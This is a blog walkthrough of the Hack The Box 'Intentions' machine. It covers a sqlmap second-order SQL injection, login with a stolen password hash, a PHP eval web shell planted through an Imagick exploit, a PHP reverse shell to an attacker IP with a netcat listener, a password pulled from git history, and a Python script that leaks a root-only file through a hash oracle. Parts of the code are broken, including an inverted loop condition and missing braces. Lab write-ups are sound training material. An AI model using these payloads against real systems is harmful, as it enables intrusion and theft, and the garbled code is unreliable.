intentions htb

Intentions HTB Writeup


In this post, You will learn how to CTF the intentions htb and if you have any doubt you know where to ask.

Intentions Phases

  1. Adding target to /etc/hosts
  2. Nmap
  3. SQL Injection
  4. LFI
  5. Gaining user access
  6. Prviesc
  7. Root


Let’s start

Hey you ❤️ Please check out my other posts, You will be amazed and support me by following on youtube.

Adding IP

Add the target IP and the domain name intentions.htb in /etc/hosts.

sudo nano /etc/hosts

Let’s check if the target domain works.

That’s perfect, Now simultaneously let’s scan the target using nmap.

Network Mapping

Let’s do a service and version and OS scan and let’s add T4 as time here. So we are just scanning for top 1000 ports alone.

nmap -A -T4 -v

SQL Injection

Use the burp suite to capture the request if feed and genres. The api will look like this

/api/v1/gallery/user/genres and /api/v1/gallery/user/feed into 2 files  gen , fee

Save the feed and genres in a separate file named fee and gen. Let’s dump it via sqlmap.

sqlmap -r gen --second-req fee --dbs -D intentions -T users -C admin,email,password --where "admin=1" --dump --tamper=space2comment --batch --time-sec 10


Now we have the users and hash passwords of steve and greg. But we cannot crack the hash of both the users.

Then later on I found the admin.js http://intentions.htb/js/admin.js

Hey team, I've deployed the v2 API to production and have started using it in the admin section.Let me know if you spot any bugs.
This will be a major security upgrade for our users, passwords no longer need to be transmitted to the server in clear text!
By hashing the password client side there is no risk to our users as BCrypt is basically uncrackable.This should take care of the concerns raised by our users regarding our lack of HTTPS connection.

From this we know that we don’t want crack the hash just we can use the hash to login via as steve.

After editing, I then forwarded it and then we were able to login as the user steve. Then after having the admin user, I switched to admin page with the page link http://intentions.htb/admin

In the admin page we can see the image section where we can edit the image. After switching between charcoal, wave, swirl, sepia. I see the photo changed, but nothing exploits.

Then later I opened bur suite to inert LFI and try to read some file.

We can view the contents of the file from above vulnerability and I wrote a program which is built through the larvel applications.

From the above we know that the directory containing the content of web service /var/www/html/intentions/, I read the contents of api.php file.


#The content of the files are as follows


use App\Http\Controllers\AdminController;

Route::prefix('v2')->group(function () {

    Route::middleware(['auth:api', 'isadmin'])->prefix('admin')->group(function () {
        Route::get('users', [AdminController::class, 'getUsers']);
        Route::post('image/modify', [AdminController::class, 'modifyImage']);
        Route::get('image/{id}', [AdminController::class, 'getImage']);


Here We can see Admincontroller , continue reading the file  Admincontroller :


namespace App\Http\Controllers;
use Imagick;

class AdminController extends Controller

    function modifyImage(Request $request) {
        $v = Validator::make($request->all(), [
            'path' => 'required',
            'effect' => 'required'
        if ($v->fails())
            return response()->json([
                'status' => 'error',
                'errors' => $v->errors()
            ], 422);
        $path = $request->input('path');
        if(Storage::exists($path)) {
            $path = Storage::path($path);
        try {
            $i = new Imagick($path);

            switch($request->input('effect')) {
                case 'charcoal':
                    $i->charcoalImage(1, 15);
                case 'wave':
                    $i->waveImage(10, 5);
                case 'swirl':
                case 'sepia':
            return "data:image/jpeg;base64," . base64_encode($i->getImageBlob());
        catch(\Exception $ex) {
            return response("bad image path", 422);


Gaining Access to WWW-data

Exploiting Arbitrary Object Instantiations in PHP without Custom Classes [Click here] to know more about that.

From this exploit, I create a web shell first.

convert xc:red -set 'Copyright' '<?php @eval(@$_REQUEST["cmd"]); ?>' positive.png

ls positive.png

Let’ s create two intruder threads.

By executing above two threads we get connection from the box.

#Enable python server

python  -m http.server 80

#Reverse shell

$sock=fsockopen("<Ip attack>",1234);$proc=proc_open("sh",%20array(0=>$sock,%201=>$sock,%202=>$sock),$pipes);

Use netcat to listen

nc -nlvp 1234

Once you got access to the box do the following.

cd ..
tar -cvf /tmp/git.tar .git
ls /tmp/git.tar
cd public
mv /tmp/git.tar .

Gaining Access to Greg

I have discovered the primary directory of the service, which contains a .git folder. Please compress the .git folder and transfer the resulting compressed file to the public directory. You can download the compressed file using the following link: http://intentions.htb/git.tar

Once you have downloaded the git.tar file, extract its contents and open it using the git command.

git log

commit 1f29dfde45c21be67bb2452b46d091888ed049c3 (HEAD -> master)
Author: steve <steve@intentions.htb>
Date:   Mon Jan 30 15:29:12 2023 +0100

    Fix webpack for production

commit f7c903a54cacc4b8f27e00dbf5b0eae4c16c3bb4
Author: greg <greg@intentions.htb>
Date:   Thu Jan 26 09:21:52 2023 +0100

    Test cases did not work on steve's local database, switching to user factory per his advice

commit 36b4287cf2fb356d868e71dc1ac90fc8fa99d319
Author: greg <greg@intentions.htb>
Date:   Wed Jan 25 20:45:12 2023 +0100

    Adding test cases for the API!

commit d7ef022d3bc4e6d02b127fd7dcc29c78047f31bd
Author: steve <steve@intentions.htb>
Date:   Fri Jan 20 14:19:32 2023 +0100

    Initial v2 commit
PS D:\thehackbox\Machines\Intentions\Intentions> git show f7c903a54cacc4b8f27e00dbf5b0eae4c16c3bb4
commit f7c903a54cacc4b8f27e00dbf5b0eae4c16c3bb4
Author: greg <greg@intentions.htb>
Date:   Thu Jan 26 09:21:52 2023 +0100

    Test cases did not work on steve's local database, switching to user factory per his advice

diff --git a/tests/Feature/Helper.php b/tests/Feature/Helper.php
index f57e37b..0586d51 100644
--- a/tests/Feature/Helper.php
+++ b/tests/Feature/Helper.php
@@ -8,12 +8,14 @@ class Helper extends TestCase
     public static function getToken($test, $admin = false) {
         if($admin) {
-            $res = $test->postJson('/api/v1/auth/login', ['email' => 'greg@intentions.htb', 'password' => 'Gr**************************']);
-            return $res->headers->get('Authorization');
+            $user = User::factory()->admin()->create();
         else {
-            $res = $test->postJson('/api/v1/auth/login', ['email' => 'greg_user@intentions.htb', 'password' => 'Gr**************************']);
-            return $res->headers->get('Authorization');
+            $user = User::factory()->create();
+        $token = Auth::login($user);
+        $user->delete();
+        return $token;

We have found the username and the password.


username: greg
password: Gr3g1sTh3B3stDev3l0per!1998!
ssh greg@intentions.htb
cat user.txt

We finally got the user flag.


Based on the aforementioned results, it is evident that the user named Greg is a member of the “scanner” group.

By conducting a search for files associated with the “scanner” group, I have discovered that the file “/opt/scanner/scanner” is owned by the user “root” and belongs to the “scanner” group.

We can write the follow implementations.

/opt/scanner/scanner -c /root/root.txt -l 1 -p -s 1111

Create a file called and add the below script.

import hashlib
import os
import string

charset = string.printable
resfult = ""

def get_hash(i):
    temp_hash = os.popen(f"/opt/scanner/scanner -c {file} -l {i} -p -s 1111").read().split(" ")[-1].rstrip()
    return temp_hash

def find_char(temp_hash):
    for i in charset:
        test_data = resfult + i
        current_hash = hashlib.md5(test_data.encode()).hexdigest()
        if temp_hash == current_hash:
            return i
    return None

file = input("File: ")
i = 1
while True:
    temp_hash = get_hash(i)
    new_char = find_char(temp_hash)
    if not new_char:
        resfult += new_char
        i += 1

Now type /root/root.txt to get the root flag.


In my opinion this is a solid 6 out of 10. The initial foothold was confusing and I was stuck but the root was damn easy.

See you in the next post mate ❤️


Ads Blocker Image Powered by Code Help Pro

Ads Blocker Detected!!!

We have detected that you are using extensions or brave browser to block ads. Please support us by disabling these ads blocker.Our website is made possible by displaying Ads hope you whitelist our site. We use very minimal Ads in our site


Scroll to Top